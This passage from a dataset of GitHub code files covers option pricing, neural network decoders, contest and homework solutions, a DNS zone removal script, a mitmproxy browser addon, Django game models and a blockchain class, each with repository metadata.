self.r, self.T, self.K, self.rho\n \n C11, C12, C22 = 1, rho, 1 \n sigma_B = math.sqrt((sigma_1**2)*C11 + 2*sigma_1*sigma_2*C12 + sigma_2**2*C22)/2\n mu = r - (1/2)*((sigma_1**2 + sigma_2**2)/2) + (1/2)*sigma_B**2\n \n Bg = math.sqrt(s0_1*s0_2)\n d1 = (math.log(Bg/K) + (mu + (1/2)*sigma_B**2)*T)/(sigma_B*math.sqrt(T))\n d2 = d1 - sigma_B*math.sqrt(T)\n\n if self.option == \"call\":\n N_d1 = norm.cdf(d1)\n N_d2 = norm.cdf(d2)\n \n return math.e**(-(r*T))*(Bg*math.e**(mu*T)*N_d1 - K*N_d2)\n\n elif self.option == \"put\":\n N_d1 = norm.cdf(-d1)\n N_d2 = norm.cdf(-d2)\n\n return math.e**(-(r*T))*(K*N_d2 - Bg*math.e**(mu*T)*N_d1)\n\nclass basketArith(basketGeo):\n\n def __init__(self, s0_1=None, s0_2=None, sigma_1=None, sigma_2=None, r=0, T=0, K=None, rho=None, option=None, m=100000, control_variate=False):\n\n basketGeo.__init__(self, s0_1, s0_2, sigma_1, sigma_2, r, T, K, rho, option)\n self.m = m\n self.control_variate = control_variate\n\n def pricing(self):\n\n n = 2\n m = self.m\n sigsqT = (self.sigma_1**2+2*self.sigma_1*self.sigma_2*self.rho+self.sigma_2**2)/(n**2)\n muT = (self.r - 0.5*((self.sigma_1**2+self.sigma_2**2)/n) + 0.5*sigsqT)*self.T\n\n Ba = [0] * m\n Bg0 = np.sqrt(self.s0_1 * self.s0_2)\n\n d1 = (np.log(Bg0/self.K) + (muT + 0.5*sigsqT*self.T))/(np.sqrt(sigsqT)*np.sqrt(self.T))\n d2 = d1 - np.sqrt(sigsqT)*np.sqrt(self.T)\n\n N1 = norm.cdf(d1)\n N2 = norm.cdf(d2)\n\n N1_ = norm.cdf(-d1)\n N2_ = norm.cdf(-d2)\n\n drift_1 = np.exp((self.r - 0.5 * self.sigma_1 ** 2) * self.T)\n drift_2 = np.exp((self.r - 0.5 * self.sigma_2 ** 2) * self.T)\n\n arithPayoff = [0] * m\n geoPayoff_call = [0] * m\n geoPayoff_put = [0] * m\n\n for i in range(m):\n\n s = i + 2*i\n np.random.seed(s)\n Z_1 = np.random.normal(0, 1, 1)\n Z_2 = self.rho*Z_1+np.sqrt(1-self.rho**2)*np.random.normal(0, 1, 1)\n S_1 = self.s0_1*drift_1 * np.exp(self.sigma_1 * np.sqrt(self.T) * Z_1)\n S_2 = self.s0_2*drift_2 * np.exp(self.sigma_2 * np.sqrt(self.T) * Z_2)\n \n Ba[i] = (1/n)*(S_1 + S_2)\n geoMean = np.exp((1/n) * (np.log(S_1) + np.log(S_2)))\n geoPayoff_call[i] = np.exp(-self.r*self.T)*max(geoMean-self.K, 0)\n geoPayoff_put[i] = np.exp(-self.r*self.T)*max(self.K-geoMean, 0)\n \n if self.option == \"call\":\n \n arithPayoff[i] = Ba[i] - self.K\n if arithPayoff[i] > 0:\n arithPayoff[i] = np.exp(-self.r*self.T)*arithPayoff[i]\n else:\n arithPayoff[i] = 0\n\n elif self.option == \"put\":\n\n arithPayoff[i] = self.K - Ba[i]\n if arithPayoff[i] > 0:\n arithPayoff[i] = np.exp(-self.r*self.T)*arithPayoff[i]\n else:\n arithPayoff[i] = 0\n \n Pmean = float(np.mean(arithPayoff))\n Pstd = np.std(arithPayoff)\n confmc = (Pmean-1.96*Pstd/np.sqrt(m), Pmean+1.96*Pstd/np.sqrt(m))\n\n if not self.control_variate:\n return Pmean, confmc\n else:\n conXY_call = np.mean(np.multiply(arithPayoff, geoPayoff_call)) - (np.mean(arithPayoff) * np.mean(geoPayoff_call))\n theta_call = conXY_call / np.var(geoPayoff_call)\n conXY_put = np.mean(np.multiply(arithPayoff, geoPayoff_put)) - (np.mean(arithPayoff) * np.mean(geoPayoff_put))\n theta_put = conXY_put / np.var(geoPayoff_put)\n\n if self.option == 'call':\n geo_call = np.exp(-self.r * self.T) * (Bg0 * np.exp(muT) * N1 - self.K * N2)\n Z = arithPayoff + theta_call * (geo_call - geoPayoff_call)\n\n elif self.option == 'put':\n geo_put = np.exp(-self.r * self.T) * (self.K * N2_ - Bg0 * np.exp(muT) * N1_)\n Z = arithPayoff + theta_put * (geo_put - geoPayoff_put)\n\n Zmean = np.mean(Z)\n Zstd = np.std(Z)\n confmc = (Zmean-1.96 * Zstd / np.sqrt(m), Zmean+1.96*Zstd/np.sqrt(m))\n return Zmean, confmc","repo_name":"arawndinog/mini_option_pricer","sub_path":"basket_option.py","file_name":"basket_option.py","file_ext":"py","file_size_in_byte":4935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25237482058","text":"import tensorflow as tf\nimport numpy as np\n\nOUT_DIM = {2: 39, 4: 35, 6: 31}\n\nclass PixelDecoder(tf.keras.Model):\n def __init__(self, obs_dim, feature_dim = 50, layer_num=2, filter_num=32, data_format='channels_first', activation='relu', kernel_initializer='glorot_uniform', bias_initializer='zeros'):\n super(PixelDecoder, self).__init__()\n\n self.obs_dim = obs_dim\n self.feature_dim = feature_dim\n self.layer_num = layer_num\n self.filter_num = filter_num\n\n self.out_dim = OUT_DIM[layer_num]\n\n self.input_layer = tf.keras.layers.InputLayer(input_shape=(self.feature_dim), name='Input')#input shape: (b, feature_dim), output shape: (b, 3, 84, 84), etc\n\n self.fc = tf.keras.layers.Dense(self.filter_num * self.out_dim * self.out_dim, activation = activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer)\n self.reshape = tf.keras.layers.Reshape(target_shape=(self.filter_num, self.out_dim, self.out_dim))\n\n self.deconv_layers = []\n for i in range(self.layer_num - 1):\n self.deconv_layers.append(tf.keras.layers.Conv2DTranspose(filters=self.filter_num, kernel_size=3, strides=1, data_format=data_format, activation=activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer))\n\n self.deconv_layers.append(tf.keras.layers.Conv2DTranspose(filters=self.obs_dim[0], kernel_size=3, strides=2, output_padding=1, data_format=data_format, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer))\n\n self(tf.constant(np.zeros(shape=(1,) + (self.feature_dim,), dtype=np.float32)))\n\n @tf.function\n def call(self, feature):\n z = self.input_layer(feature)\n\n z = self.fc(z)\n z = self.reshape(z)\n\n for deconv in self.deconv_layers:\n z = deconv(z)\n\n return z\n\nif __name__ == '__main__':\n b = PixelDecoder((9, 84, 84), layer_num=4)\n input = tf.random.normal((3,50))\n b(input)\n print(b(input).shape)\n b.summary()","repo_name":"Cerphilly/SimpleRL","sub_path":"Network/Decoder.py","file_name":"Decoder.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"74334389314","text":"# # 저울 문제\n# n = int(input())\n# weights = list(map(int, input().split()))\n# left = []\n# right = []\n# array = [1, 2, 5, 10, 20, 50, 100]\n# array.sort(reverse=True)\n# count = 0\n# for i in range(0, n, 2):\n# left.append(weights[i])\n# if i >= 2 and i-1 < n:\n# right.append(weights[i-1])\n# sumA = sum(left)\n# sumB = sum(right)\n# minus = sumA-sumB\n# if minus == 0:\n# print(0)\n# elif minus < 0:\n# minus*-1\n# for ar in array:\n# count += minus//ar\n# minus %= ar\n\n# print(count)\n# 잘 못 짠 코드\n# 아래가 맞게 짠코드\n# 나와의 차이점은 왼쪽 오른쪽을 문제를 잘 못 해석하여 i,i+1인 것으로 구분하였는데\n# 그것이 ��닌 상황에 맞게 왼쪽에 자갈을 할지 오른쪽에 자갈을 올릴지 결정해야 한다.\nn = int(input())\nPebbles = list(map(int, input().split())) # 자갈들 무게\ns = [0, 0] # 저울의 왼쪽, 오른쪽\n\nfor p in Pebbles:\n if s[0] <= s[1]: # 오른쪽이 무겁거나 같으면\n s[0] += p # 왼쪽에 자갈 달기\n else: # 왼쪽이 무거우면\n s[1] += p # 오른쪽에 자갈 달기\n\ndiff = abs(s[0]-s[1]) # 남은 무게 차이\nans = 0 # 추가로 필요한 추의 개수\n\nwhile diff:\n for w in (100, 50, 20, 10, 5, 2, 1): # 무거운 추부터 꺼냄\n ans += diff//w # w가 몇 개 필요한지 ans에 더하기\n diff %= w # 무게가 w들을 추가로 달고 남은 무게\n\nprint(ans)\n","repo_name":"zsert1/algo_study_greedy","sub_path":"greedy/back25943.py","file_name":"back25943.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29579246910","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport configparser\nfrom pathlib import Path\nimport LogWidget\n\nclass Singleton(type):\n _instances = {}\n def __call__(cls, *args, **kwargs):\n if cls not in cls._instances:\n cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)\n return cls._instances[cls]\n\n#Python2\n#class MyClass(BaseClass):\n# __metaclass__ = Singleton\n\n#Python3\nclass AppProject(metaclass=Singleton):\n def __init__(self):\n #super(AppProject, self).__init__() \n self.mFilePath = u''\n self.mDBFolder = u'db'\n self.mSimFolder = u'sim'\n self.mLogWdg = None\n\n def reset(self):\n self.mFilePath = u''\n self.mDBFolder = u'db'\n self.mSimFolder = u'sim'\n \n def save(self):\n if self.mFilePath !='' and Path( self.mFilePath ).parent.exists(): \n config = configparser.ConfigParser()\n config['Paths'] = {'DB': self.mDBFolder,\n 'Sim': self.mSimFolder}\n \n with open(self.mFilePath, 'w') as projectfile:\n config.write(projectfile)\n\n\n def load(self):\n config = configparser.ConfigParser()\n if self.mFilePath !='' and Path( self.mFilePath ).exists():\n config.read(self.mFilePath)\n self.mDBFolder = config['Paths']['DB']\n self.mSimFolder = config['Paths']['Sim'] \n \n def creatFolder(self):\n profile = Path( self.mFilePath )\n if self.mFilePath !='' and profile.exists():\n dirPath = (profile.parent / self.mDBFolder)\n if not dirPath.exists() :\n dirPath.mkdir()\n dirPath = (profile.parent / self.mSimFolder)\n if not dirPath.exists() :\n dirPath.mkdir() \n \n def getPath(self,pathType,dfFileName):\n profile = Path( self.mFilePath )\n if self.mFilePath !='' and profile.exists():\n if( pathType ) == 'DB' :\n return str( profile.parent / self.mDBFolder / dfFileName )\n if( pathType ) == 'Sim' :\n return str( profile.parent / self.mSimFolder / dfFileName )\n else:\n return ''\n \n","repo_name":"sh601857/PySideSample","sub_path":"AppProject.py","file_name":"AppProject.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18987436592","text":"import numpy as np\nnp.random.seed(1337) # for reproducibility\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.optimizers import Adam\nimport matplotlib.pyplot as plt\n\n# create some data\nX = np.linspace(0, 1, 1000)\nnp.random.shuffle(X) # randomize the data\nY = 3 * X * X * X + 2 * X * X + X + np.random.normal(0, 0.05, (1000, ))\n# plot data\nplt.scatter(X, Y)\nplt.show()\n\nX_train, Y_train = X[:700], Y[:700] # first 700 data points\nX_test, Y_test = X[700:], Y[700:] # last 300 data points\n\n# build the neural network\nmodel = Sequential()\nmodel.add(Dense(input_dim=1, output_dim=10))\nmodel.add(Activation('relu'))\nmodel.add(Dense(output_dim=10))\nmodel.add(Activation('relu'))\nmodel.add(Dense(output_dim=1))\nmodel.compile(loss='mse', optimizer='sgd')\n\n# training\nprint('Training -----------')\nfor step in range(5000):\n cost = model.train_on_batch(X_train, Y_train)\n if step % 100 == 0:\n print('train cost: ', cost)\n\n# test\nprint('\\nTesting ------------')\ncost = model.evaluate(X_test, Y_test, batch_size=300)\nprint('test cost:', cost)\nW, b = model.layers[0].get_weights()\nprint('Weights=', W, '\\nbiases=', b)\n\nX_test_order = np.sort(X_test)\n\n# # plotting the prediction\nY_pred = model.predict(X_test_order)\nplt.scatter(X_test, Y_test)\nplt.plot(X_test_order, Y_pred, 'r-')\nplt.show()\n","repo_name":"wwxFromTju/python-keras","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"59550057","text":"import shutil\nimport subprocess\nimport tempfile\nimport typing\n\nfrom mitmproxy import command\nfrom mitmproxy import ctx\n\n\ndef get_chrome_executable() -> typing.Optional[str]:\n for browser in (\n \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\",\n # https://stackoverflow.com/questions/40674914/google-chrome-path-in-windows-10\n r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\",\n r\"C:\\Program Files (x86)\\Google\\Application\\chrome.exe\",\n # Linux binary names from Python's webbrowser module.\n \"google-chrome\",\n \"google-chrome-stable\",\n \"chrome\",\n \"chromium\",\n \"chromium-browser\",\n ):\n if shutil.which(browser):\n return browser\n return None\n\n\nclass Browser:\n browser = None\n tdir = None\n\n @command.command(\"browser.start\")\n def start(self) -> None:\n \"\"\"\n Start an isolated instance of Chrome that points to the currently\n running proxy.\n \"\"\"\n if self.browser:\n if self.browser.poll() is None:\n ctx.log.alert(\"Browser already running\")\n return\n else:\n self.done()\n\n cmd = get_chrome_executable()\n if not cmd:\n ctx.log.alert(\"Your platform is not supported yet - please submit a patch.\")\n return\n\n self.tdir = tempfile.TemporaryDirectory()\n self.browser = subprocess.Popen(\n [\n cmd,\n \"--user-data-dir=%s\" % str(self.tdir.name),\n \"--proxy-server=%s:%s\" % (\n ctx.options.listen_host or \"127.0.0.1\",\n ctx.options.listen_port\n ),\n \"--disable-fre\",\n \"--no-default-browser-check\",\n \"--no-first-run\",\n \"--disable-extensions\",\n\n \"about:blank\",\n ],\n stdout = subprocess.DEVNULL,\n stderr = subprocess.DEVNULL,\n )\n\n def done(self):\n if self.browser:\n self.browser.kill()\n self.tdir.cleanup()\n self.browser = None\n self.tdir = None\n","repo_name":"panoslin/DouYinSpider","sub_path":"venv/Lib/site-packages/mitmproxy/addons/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"61"} +{"seq_id":"38743267218","text":"import os\n\n\nlogfile = open(\"/etc/named.conf\", \"rt\")\nloglist = logfile.read()\n\nos.system('python3 ~/files/listzones.py')\n\n\nzoneName = input(\"Insert the name of the zone that you want to remove:\")\n\nzoneName = str(zoneName)\n\nzoneFile = \"/var/named/\"+zoneName+\".hosts\"\n\nzonetxt = \"\"\"zone \\\"\"\"\"+zoneName+\"\"\"\\\" IN {\n\ttype master;\n\tfile \\\"\"\"\"+zoneFile+\"\"\"\\\";\n};\"\"\"\n\nnWanted = \"zone \\\"\"+zoneName+\"\\\" IN {\"\n\n\n\nif str(nWanted) in loglist:\n\n#if there's a zone text block equal to the one defined by the user it is replaced by nothing\n\tloglist = loglist.replace(str(zonetxt), ' ')\n\tos.remove(zoneFile)\n\tos.system('clear')\n\tprint(\"Zoned removed successfully\")\t\n\t\nif not loglist:\n print(\"Not found\")\n\nlogfile.close()\n\t\n\nlogfile = open(\"/etc/named.conf\", \"wt\")\n\n#Inserts the updated lines\nlogfile.write(loglist)\n\nlogfile.close()\n\n\nos.system('systemctl restart named')\nprint(\"The zone was removed successfully\")\n","repo_name":"JOao7640/Linux-Network-Services","sub_path":"dns/removeNZone.py","file_name":"removeNZone.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"1199249258","text":"#!/usr/bin/env python3\n\"\"\"\n2022/03/test_solution.py: pyunit test file for solution\n\"\"\"\n\nimport solution\n\n\n# Test the priority calculation function\ndef test_calculate_priorities():\n \"\"\"\n test_calculate_priorities() - build test data and validate the fxn\n \"\"\"\n\n test_data = [ 'A', 'a', 'M', 'm']\n prios = solution.calculate_priorities(test_data)\n\n assert prios[0] == 27\n assert prios[1] == 1\n assert prios[2] == 39\n assert prios[3] == 13\n\n\n# Specifically test the doppel function\ndef test_get_duplicates():\n \"\"\"\n test_get_duplicates() - build test data and validate get_duplicates()\n \"\"\"\n\n test_data = [\n ('abcdefg', 'ghijklm'),\n ('nopqrst', 'tuvwxyz')\n ]\n\n doppels = solution.get_duplicates(test_data)\n\n assert doppels[0] == 'g'\n assert doppels[1] == 't'\n\n\ndef test_get_badges():\n \"\"\"\n test_get_badges() - build test data and validate get_badges()\n \"\"\"\n\n test_data = [\n 'abcd', 'eafg', 'hiaj',\n 'wxyz', 'tuvz', 'qzrs'\n ]\n\n badges = solution.get_badges(test_data)\n\n assert len(badges) == 2\n assert badges[0] == 'a'\n assert badges[1] == 'z'\n\n\n# Unit testing of the function against the sample data\ndef test_part1_sample(input_file_name=\"sample-part1.txt\", result=157):\n \"\"\"\n Unit testing of Day 1, Part 1 sample input\n \"\"\"\n\n answer = solution.part1(filename=input_file_name)\n assert answer == result\n\n\ndef test_part2_sample(input_file_name=\"sample-part1.txt\", result=70):\n \"\"\"\n Unit testing of Day 1, Part 2 sample input\n \"\"\"\n\n answer = solution.part2(filename=input_file_name)\n assert answer == result\n","repo_name":"broadcaststorm/advent-of-code","sub_path":"2022/03/test_solution.py","file_name":"test_solution.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3403755432","text":"#cd C:\\Users\\Daniela\\Desktop\\Using_Python_for_Research\\Case_Studies\\6Social_Network_Analysis\n\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\nG = nx.karate_club_graph()\nnx.draw(G, with_labels=True, node_color=\"lightblue\", edge_color=\"gray\")\nplt.savefig(\"karate_graph.pdf\")\n\n#4.3.3. Random Graphs\nfrom scipy.stats import bernoulli\n#Creamos un ejemplo de graph ER\ndef er_graph(N, p):\n \"\"\"Generate an ER graph\"\"\"\n G = nx.Graph()\n G.add_nodes_from(range(N))\n for node1 in G.nodes():\n for node2 in G.nodes():\n if node1 < node2 and bernoulli.rvs(p=p): #n1= MAX_DEFECT:\r\n print(\"Manufacturing defect\")\r\n manufacturing_defect_box += 1\r\n number_of_taws_returned += number_of_taws\r\n break\r\n which_taw += 1\r\n print(f\"{which_taw}. taw \")\r\n weight_of_taw = int(input(\"Weight of taw: \"))\r\n if main_weight != weight_of_taw:\r\n defect += 1\r\n different_taw = weight_of_taw\r\n\r\n if defect < MAX_DEFECT:\r\n accepted_boxes += 1\r\n number_of_taws_accepted += number_of_taws\r\n\r\n if defect == 0:\r\n all_taws_equal += 1\r\n while where_heaviest_taw < main_weight:\r\n where_heaviest_taw = main_weight\r\n number_of_taw_in_heaviest_taw = number_of_taws\r\n while where_most_taws < number_of_taws:\r\n where_most_taws = number_of_taws\r\n weight_of_taw_in_most_taws = main_weight\r\n\r\n elif defect == 1:\r\n if main_weight < different_taw:\r\n a_taw_heavier += 1\r\n difference = different_taw - main_weight\r\n percentage_of_difference = difference*100/main_weight\r\n sum_of_differences_for_heavier += difference\r\n sum_of_percentages_for_heavier += percentage_of_difference\r\n while difference > max_difference:\r\n max_difference = difference\r\n percentage_of_max_difference = max_difference*100/main_weight\r\n sign1 = \"+\"\r\n while min_difference > difference:\r\n min_difference = difference\r\n percentage_of_min_difference = min_difference * 100/main_weight\r\n sign2 = \"+\"\r\n elif main_weight > different_taw:\r\n a_taw_lighter += 1\r\n difference = main_weight - different_taw\r\n percentage_of_difference = difference * 100 / main_weight\r\n sum_of_differences_for_lighter += difference\r\n sum_of_percentages_for_lighter += percentage_of_difference\r\n while difference > max_difference:\r\n max_difference = difference\r\n percentage_of_max_difference = max_difference*100/main_weight\r\n sign1 = \"-\"\r\n while min_difference > difference:\r\n min_difference = difference\r\n percentage_of_min_difference = min_difference * 100/main_weight\r\n sign2 = \"-\"\r\n defect = 0\r\n\r\n continuation = input(\"Is there another box? (For yes: Y,y /For no: N,n): \")\r\n while continuation != \"y\" and continuation != \"Y\" and continuation != \"n\" and continuation != \"N\":\r\n continuation = input(\"Please enter one of the Y, y, N, n: \")\r\n # This makes more sense because in this case the user has unlimited error right.\r\n # if I used \"if continuation in list, and else\" the user would have just one error right.\r\npercentage_of_manufacturing_defult = manufacturing_defect_box*100/all_boxes\r\npercentage_of_all_equal = all_taws_equal*100/accepted_boxes\r\npercentage_of_a_taw_heavier = a_taw_heavier*100/accepted_boxes\r\npercentage_of_a_taw_lighther = a_taw_lighter*100/accepted_boxes\r\naverage_sum_of_differences_for_heavier = sum_of_differences_for_heavier/a_taw_heavier\r\naverage_sum_of_percentages_for_heavier = sum_of_percentages_for_heavier/a_taw_heavier\r\naverage_sum_of_differences_for_lighter = sum_of_differences_for_lighter/a_taw_lighter\r\naverage_sum_of_percentages_for_lighter = sum_of_percentages_for_lighter/a_taw_lighter\r\nprint()\r\nprint()\r\nprint(f\"Number of boxes with manufacturing defects and their percentage in all boxes (respectively): {manufacturing_defect_box}, {percentage_of_manufacturing_defult:.2f}%\")\r\nprint(f\"Number of taws returned and accepted (respectively): {number_of_taws_returned}, {number_of_taws_accepted}\")\r\nprint()\r\nprint(f\"Number of boxes in which all taws are of equal weight, 1 taw is heavier than the others, \\nand 1 taw is lighter than the others, and their percentages in boxes without manufacturing \\ndefects (respectively): {percentage_of_all_equal:.2f}%, {percentage_of_a_taw_heavier:.2f}%, {percentage_of_a_taw_lighther:.2f}%\")\r\nprint()\r\nprint(f\"Averages of weight difference values and weight difference percentages of the heavier \\ntaws in boxes where 1 taw is heavier than the others (respectively): +{average_sum_of_differences_for_heavier:.2f}, +{average_sum_of_percentages_for_heavier:.2f}%\")\r\nprint(f\"Averages of weight difference values and weight difference percentages of the light taws \\nin boxes where 1 taw is lighter than the others (respectively): -{average_sum_of_differences_for_lighter:.2f}, -{average_sum_of_percentages_for_lighter:.2f}%\")\r\nprint()\r\nprint(f\"Among the boxes in which all taws are of equal weight, the number of taws in the box \\nwith the largest number of taws and the weight of 1 taw in that box (respectively): {where_most_taws}, {weight_of_taw_in_most_taws}mg\")\r\nprint(f\"Among the boxes in which all taws are of equal weight, the number of taws in the box \\nwith the heaviest taws and the weight of 1 taw in that box: {where_heaviest_taw}mg, {number_of_taw_in_heaviest_taw}\")\r\nprint()\r\nprint(f\"The value, percentage, and sign (heavy or light) of the weight difference where the value \\nof difference between the weight of the different taw and the weight of the other taws in \\nthe box is the largest: {sign1}{max_difference}mg, {sign1}{percentage_of_max_difference:.2f}%\")\r\nprint(f\"The value, percentage, and sign (heavy or light) of the weight difference where the \\npercentage of difference between the weight of the different taw and the weight of the \\nother taws in the box is the smallest: {sign2}{min_difference}mg, {sign2}{percentage_of_min_difference:.2f}%\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mahmutkarabulut1/algorithms-and-programming-1-python","sub_path":"Taw Box Manufacturing Defect Analyzer and Statistics Calculator.py","file_name":"Taw Box Manufacturing Defect Analyzer and Statistics Calculator.py","file_ext":"py","file_size_in_byte":8958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72225415874","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nn=int(input())\nl=[]\nfor _ in range(n):\n l.append(input())\nprint(len(set(l))) \nd={}\nfor i in l:\n if i not in d:\n d[i]=0\n d[i]+=1 \n\n\nfor i in d:\n print(d[i],end=\" \") \n\n","repo_name":"Yukti-09/HackerRank-Solutions","sub_path":"Python/Collections/WordOrder.py","file_name":"WordOrder.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29943862958","text":"import arcpy \r\n\r\n\"\"\"\r\n\tThe following is the buffer tool script, where the first argumentis the input feature,\r\n\tthe second argument is the output feature, and the third argument is the buffer distance\r\n\"\"\"\r\ninputFC = arcpy.GetParameterAsText(0)\r\narcpy.AddMessage('-------Input Feature: ' + inputFC)\r\noutputFC = arcpy.GetParameterAsText(1)\r\narcpy.AddMessage('-------Output Feature: ' + outputFC)\r\nbufferDist = arcpy.GetParameterAsText(2)\r\narcpy.AddMessage('-------Buffer Distance: ' + bufferDist)\r\n\r\n# perform buffer analysis\r\narcpy.Buffer_analysis(inputFC, outputFC, bufferDist)\r\narcpy.AddMessage(\"Finished Successfully\")","repo_name":"stccenter/book-reference-code","sub_path":"9/Code 9.25.py","file_name":"Code 9.25.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"35323306189","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nwhile True:\r\n case = input()\r\n if case == '0' or case == '0\\n':\r\n break\r\n \r\n spots, paths = [int(e) for e in case.split()]\r\n\r\n # Set all the pathways\r\n connections = [[] for a in range(spots + 1)]\r\n for path in range(paths):\r\n start, end, dist = [int(e) for e in input().split()]\r\n connections[start].append([end, dist])\r\n connections[end].append([start, dist])\r\n \r\n # Get Through\r\n shortestPaths = [[None, -1] for a in range(spots + 1)]\r\n shortestPaths[1] = [-1, -1]\r\n locations = [[1, 0]] #Location, cost\r\n\r\n while len(locations) > 0:\r\n newList = []\r\n for spot in locations:\r\n for pathway in connections[spot[0]]:\r\n newPos, newCost = [pathway[0], spot[1] + pathway[1]]\r\n if shortestPaths[newPos][0] == None or newCost <= shortestPaths[newPos][0]:\r\n shortestPaths[newPos] = [newCost, newCost == shortestPaths[newPos][0] and shortestPaths[newPos][1] + 1 or 1]\r\n newList.append([newPos, newCost])\r\n\r\n locations = newList\r\n\r\n print(shortestPaths[2][1])","repo_name":"Noor-Nasri/Contest-Solutions","sub_path":"Qualifier/Forest.py","file_name":"Forest.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11200905973","text":"from django.db import models\n\nclass Game(models.Model):\n\n class Meta:\n db_table = 'game'\n app_label = 'cardtel'\n\n current_turn = models.ForeignKey(\n 'cardtel.Player',\n related_name='pending_moves',\n null=True,\n )\n last_to_play_card = models.ForeignKey(\n 'cardtel.Player',\n related_name='unanswered_moves',\n null=True,\n )\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n winning_score = models.IntegerField(default=7)\n\n ## Related Fields\n # players - all players participating in this game\n # tables - All tables associated with a game\n\n @property\n def is_over(self):\n raise NotImplementedError\n\n @property\n def hand_is_over(self):\n raise NotImplementedError\n\n @property\n def point_is_over(self):\n raise NotImplementedError\n\n def __unicode__(self):\n return \"{} players, created at {}\".format(self.players.count(), self.created_at)\n\n\nclass Point(models.Model):\n\n class Meta:\n db_table = 'point'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n winner = models.ForeignKey(\n 'cardtel.Player',\n related_name='points',\n )\n winning_cards = models.ManyToManyField(\n 'cardtel.Card',\n related_name='winning_hands'\n )\n\n\nclass Player(models.Model):\n\n class Meta:\n db_table = 'player'\n app_label = 'cardtel'\n unique_together = ('game', 'user')\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n game = models.ForeignKey(\n 'cardtel.Game',\n db_index=True,\n related_name='players',\n )\n user = models.ForeignKey(\n 'cardtel.User',\n db_index=True,\n related_name='players'\n )\n score = models.IntegerField(default=0)\n cards = models.ManyToManyField('cardtel.Card', through='cardtel.PlayerCardLink')\n has_folded = models.BooleanField(default=False)\n play_order = models.IntegerField()\n\n ## Related Fields\n # points - All pointed in which this player was the winner\n # pending_moves - games where it's this player's turn\n # unanswered_moves - games where this player was the last to play\n\n def __unicode__(self):\n return self.user.username\n\n\nclass Card(models.Model):\n\n class Meta:\n db_table = 'card'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n suit = models.CharField(max_length=1)\n number = models.CharField(max_length=1)\n image = models.FileField()\n\n def __unicode__(self):\n return \"{} of {}\".format(self.number, self.suit)\n\nclass Table(models.Model):\n\n class Meta:\n db_table = 'table'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n game = models.ForeignKey(\n 'cardtel.Game',\n related_name='tables'\n )\n\n cards = models.ManyToManyField('cardtel.Card')\n best_hand_score = models.IntegerField(null=True)\n\n def __unicode__(self):\n return \"for game {}\".format(self.game.id)\n\nclass PlayerCardLink(models.Model):\n\n class Meta:\n db_table = 'player_card_link'\n app_label = 'cardtel'\n unique_together = ('player', 'card')\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n player = models.ForeignKey(\n 'cardtel.Player',\n db_index=True,\n )\n card = models.ForeignKey(\n 'cardtel.Card',\n db_index=True,\n )\n\n def __unicode__(self):\n return \"{}, {}\".format(self.player, self.card)\n\nclass User(models.Model):\n\n class Meta:\n db_table = 'user'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n username = models.CharField(max_length=20)\n score = models.IntegerField(default=0)\n\n ## Related Fields\n # players - games this user is participating in\n\n def __unicode__(self):\n return username\n","repo_name":"bweems23/cardtel","sub_path":"cardtel/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2092937327","text":"from block import Block\n\n\nclass Blockchain(object):\n def __init__(self):\n self.chain = []\n self.create_genesis_block()\n\n def create_genesis_block(self):\n genesis_block = Block(0, 0, 0, 0, 2, [])\n self.chain.append(genesis_block)\n\n @staticmethod\n def from_list(data_chain):\n blockchain = 